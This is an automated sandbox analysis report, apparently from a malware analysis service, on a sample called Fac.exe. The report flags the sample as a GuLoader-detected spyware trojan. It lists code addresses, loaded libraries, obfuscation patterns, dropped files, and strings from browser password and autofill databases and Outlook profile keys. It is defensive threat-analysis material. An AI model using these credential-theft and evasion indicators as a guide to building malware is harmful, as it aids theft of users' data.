Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEA990 2_2_36FEA990
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE2488 2_2_36FE2488
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEC188 2_2_36FEC188
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE4D89 2_2_36FE4D89
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE7E87 2_2_36FE7E87
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE1280 2_2_36FE1280
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE9680 2_2_36FE9680
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEEC7F 2_2_36FEEC7F
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE247A 2_2_36FE247A
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE4478 2_2_36FE4478
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE6B78 2_2_36FE6B78
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEC178 2_2_36FEC178
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FED970 2_2_36FED970
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE1271 2_2_36FE1271
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE6B6A 2_2_36FE6B6A
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE1B68 2_2_36FE1B68
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEAE68 2_2_36FEAE68
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE4469 2_2_36FE4469
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE0960 2_2_36FE0960
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE8360 2_2_36FE8360
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FED95F 2_2_36FED95F
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE3B58 2_2_36FE3B58
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEF158 2_2_36FEF158
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE1B58 2_2_36FE1B58
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEAE59 2_2_36FEAE59
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEC650 2_2_36FEC650
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE8350 2_2_36FE8350
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE094F 2_2_36FE094F
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE5B48 2_2_36FE5B48
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE9B48 2_2_36FE9B48
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEF148 2_2_36FEF148
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE3B47 2_2_36FE3B47
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE0040 2_2_36FE0040
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE7040 2_2_36FE7040
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEC640 2_2_36FEC640
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE3238 2_2_36FE3238
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEDE38 2_2_36FEDE38
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE9B38 2_2_36FE9B38
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE5B37 2_2_36FE5B37
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE7032 2_2_36FE7032
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEB330 2_2_36FEB330
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE5228 2_2_36FE5228
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE8828 2_2_36FE8828
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE3228 2_2_36FE3228
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEDE28 2_2_36FEDE28
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEB322 2_2_36FEB322
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEF620 2_2_36FEF620
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE0021 2_2_36FE0021
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE2918 2_2_36FE2918
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FECB18 2_2_36FECB18
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE5218 2_2_36FE5218
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE8818 2_2_36FE8818
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FECB12 2_2_36FECB12
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE1710 2_2_36FE1710
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEA010 2_2_36FEA010
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEF60F 2_2_36FEF60F
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEA00A 2_2_36FEA00A
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE4908 2_2_36FE4908
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE7508 2_2_36FE7508
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE2907 2_2_36FE2907
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEE300 2_2_36FEE300
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE1700 2_2_36FE1700
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700F988 2_2_3700F988
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37007FA8 2_2_37007FA8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37001828 2_2_37001828
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700F668 2_2_3700F668
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700ED08 2_2_3700ED08
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37000508 2_2_37000508
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37008908 2_2_37008908
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700BB08 2_2_3700BB08
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37003120 2_2_37003120
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700D728 2_2_3700D728
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700A528 2_2_3700A528
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700C138 2_2_3700C138
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700C148 2_2_3700C148
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37008F48 2_2_37008F48
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700F348 2_2_3700F348
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37001350 2_2_37001350
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37001360 2_2_37001360
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700AB68 2_2_3700AB68
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700DD68 2_2_3700DD68
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700C788 2_2_3700C788
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37009588 2_2_37009588
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700E3A8 2_2_3700E3A8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700B1A8 2_2_3700B1A8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_370009C1 2_2_370009C1
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37009BC8 2_2_37009BC8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700CDC8 2_2_3700CDC8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_370009D0 2_2_370009D0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700B7E8 2_2_3700B7E8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_370085E8 2_2_370085E8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700E9E8 2_2_3700E9E8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700D408 2_2_3700D408
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700A208 2_2_3700A208
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37000011 2_2_37000011
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37001817 2_2_37001817
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700BE17 2_2_3700BE17
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700F028 2_2_3700F028
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37008C28 2_2_37008C28
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700BE28 2_2_3700BE28
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37000040 2_2_37000040
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700A848 2_2_3700A848
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700DA48 2_2_3700DA48
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700C468 2_2_3700C468
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37009268 2_2_37009268
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37000E87 2_2_37000E87
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700E088 2_2_3700E088
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700AE88 2_2_3700AE88
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37000E98 2_2_37000E98
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37009898 2_2_37009898
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700FCA8 2_2_3700FCA8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700CAA8 2_2_3700CAA8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_370098A8 2_2_370098A8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700B4C8 2_2_3700B4C8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_370082C8 2_2_370082C8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700E6C8 2_2_3700E6C8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37009EE8 2_2_37009EE8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_3700D0E8 2_2_3700D0E8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_370004F9 2_2_370004F9
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_370436F0 2_2_370436F0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37041470 2_2_37041470
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37043008 2_2_37043008
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37041B50 2_2_37041B50
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37042238 2_2_37042238
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37040D88 2_2_37040D88
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37042920 2_2_37042920
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_370436E0 2_2_370436E0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37041461 2_2_37041461
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37041B40 2_2_37041B40
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37042228 2_2_37042228
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37040006 2_2_37040006
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37040040 2_2_37040040
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37042FF8 2_2_37042FF8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37040D79 2_2_37040D79
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37040A00 2_2_37040A00
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37040A10 2_2_37040A10
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37042913 2_2_37042913
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37132638 2_2_37132638
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37131A20 2_2_37131A20
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37139130 2_2_37139130
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\Fac.exe Code function: String function: 00402C41 appears 51 times
Sample file is different than original file name gathered from version info
Source: Fac.exe, 00000000.00000002.42428594410.000000000044D000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamepillowber swing.exeDVarFileInfo$ vs Fac.exe
Source: Fac.exe, 00000002.00000002.43473702114.0000000033A67000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Fac.exe
Source: Fac.exe, 00000002.00000000.42423705309.000000000044D000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamepillowber swing.exeDVarFileInfo$ vs Fac.exe
Source: Fac.exe, 00000002.00000002.43463081751.0000000003704000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs Fac.exe
Source: Fac.exe Binary or memory string: OriginalFilenamepillowber swing.exeDVarFileInfo$ vs Fac.exe
Uses 32bit PE files
Source: Fac.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@3/6@5/5
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_00403359 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_00403359
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_00403359 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 2_2_00403359
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_004046EC GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 0_2_004046EC
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_00402104 CoCreateInstance, 0_2_00402104
Source: C:\Users\user\Desktop\Fac.exe Mutant created: NULL
Source: C:\Users\user\Desktop\Fac.exe File created: C:\Users\user\AppData\Local\Temp\nsq76BA.tmp Jump to behavior
Source: Fac.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\Fac.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: Fac.exe, 00000002.00000002.43474377171.0000000033E7D000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033E89000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: Fac.exe, 00000002.00000002.43476613162.0000000034C53000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;
Source: Fac.exe ReversingLabs: Detection: 23%
Source: C:\Users\user\Desktop\Fac.exe File read: C:\Users\user\Desktop\Fac.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\Fac.exe "C:\Users\user\Desktop\Fac.exe"
Source: C:\Users\user\Desktop\Fac.exe Process created: C:\Users\user\Desktop\Fac.exe "C:\Users\user\Desktop\Fac.exe"
Source: C:\Users\user\Desktop\Fac.exe Process created: C:\Users\user\Desktop\Fac.exe "C:\Users\user\Desktop\Fac.exe" Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: riched20.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: usp10.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: Fac.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000000.00000002.42430985233.0000000006462000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_70171B63 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 0_2_70171B63
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_70172FD0 push eax; ret 0_2_70172FFE
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_00159C30 push esp; retf 0017h 2_2_00159D55
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C387E7 pushad ; ret 2_2_36C387EA
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C3878F push esi; ret 2_2_36C38792
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C38755 push eax; ret 2_2_36C38756
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C3875B push edx; ret 2_2_36C3875E
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C38759 push ecx; ret 2_2_36C3875A
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C3875F push edx; ret 2_2_36C38762
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C38765 push edx; ret 2_2_36C38766
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C3876B push bx; ret 2_2_36C3876E
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C38769 push edx; ret 2_2_36C3876A
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C3877B push ebx; ret 2_2_36C3877E
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C38807 push 688736C3h; ret 2_2_36C38816
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_37133695 push ss; retf 2_2_371336A7
Drops PE files
Source: C:\Users\user\Desktop\Fac.exe File created: C:\Users\user\AppData\Local\Temp\nsr797A.tmp\System.dll Jump to dropped file
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
